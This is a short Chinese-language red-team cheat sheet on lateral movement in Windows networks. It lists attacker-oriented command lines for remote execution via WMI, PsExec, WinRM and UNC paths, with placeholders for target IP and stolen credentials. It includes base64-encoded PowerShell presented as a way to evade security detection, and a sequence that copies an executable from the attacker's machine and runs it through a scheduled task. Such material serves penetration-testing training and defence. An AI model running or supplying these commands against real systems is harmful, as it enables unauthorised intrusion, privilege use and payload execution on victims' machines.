### 横向渗透命令执行手段

**1. WMI**

**WMI** 是 Windows 操作系统中的一个核心组件，它允许系统管理员对本地或远程计算机进行管理。攻击者可以利用 WMI 强大的功能，在远程主机上执行命令，而不需要依赖其他第三方工具

**常用命令：**

- `wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd /c dir > c:\result.txt"`：这个命令可以在目标主机上执行 `dir` 命令，并将结果输出到 `c:\result.txt` 文件
- `wmic /node:目标IP /user:用户名 /password:密码 process call create "powershell.exe -e <Base64编码的命令>"`：通过 WMI 结合 PowerShell，可以执行更复杂的命令，绕过一些安全检测

**2. PsExec**

**PsExec** 是 Sysinternals 工具集中的一个经典工具，它允许在远程计算机上以本地 SYSTEM 账户身份执行命令。它利用 SMB 协议在远程主机上创建一个名为 `PSEXESVC` 的服务，通过这个服务来执行命令

**常用命令：**

- `PsExec.exe \\目标IP -u 用户名 -p 密码 cmd.exe`：直接在远程主机上打开一个交互式 `cmd` 终端
- `PsExec.exe \\目标IP -u 用户名 -p 密码 -s cmd.exe`：以 SYSTEM 权限打开一个 `cmd` 终端，这是最常见也是最强大的用法

**PsExec 的缺点是可能会被杀毒软件检测到，并且会在目标主机上留下服务创建和删除的日志**

**3. WinRM**

**WinRM** 是微软基于 WS-Management 标准实现的管理协议，默认在 Windows Server 2012 及其以上版本中启用。它可以通过 HTTP 或 HTTPS 协议进行远程管理，非常适合在防火墙严格的环境下使用

**常用命令：**

- `winrs -r:目标IP -u:用户名 -p:密码 ipconfig`：在目标主机上执行 `ipconfig` 命令
- `Invoke-Command -ComputerName 目标IP -Credential 用户名 -ScriptBlock {whoami}`：使用 PowerShell 的 `Invoke-Command` cmdlet，可以更灵活地执行命令和脚本

**4. UNC 路径执行**

在某些情况下，如果目标主机开启了 `SMB` 或 `IPC$` 共享，并且你拥有相应的权限，可以直接利用 `UNC` 路径（`\\IP\共享名`）来执行文件

**常用命令：**

- `copy \\攻击机IP\share\a.exe c:\windows\temp\a.exe`：将攻击机上的可执行文件复制到目标主机上
- `schtasks /create /s 目标IP /tn "MyTask" /tr c:\windows\temp\a.exe /sc once /st 00:00`：利用计划任务在特定时间执行复制过来的文件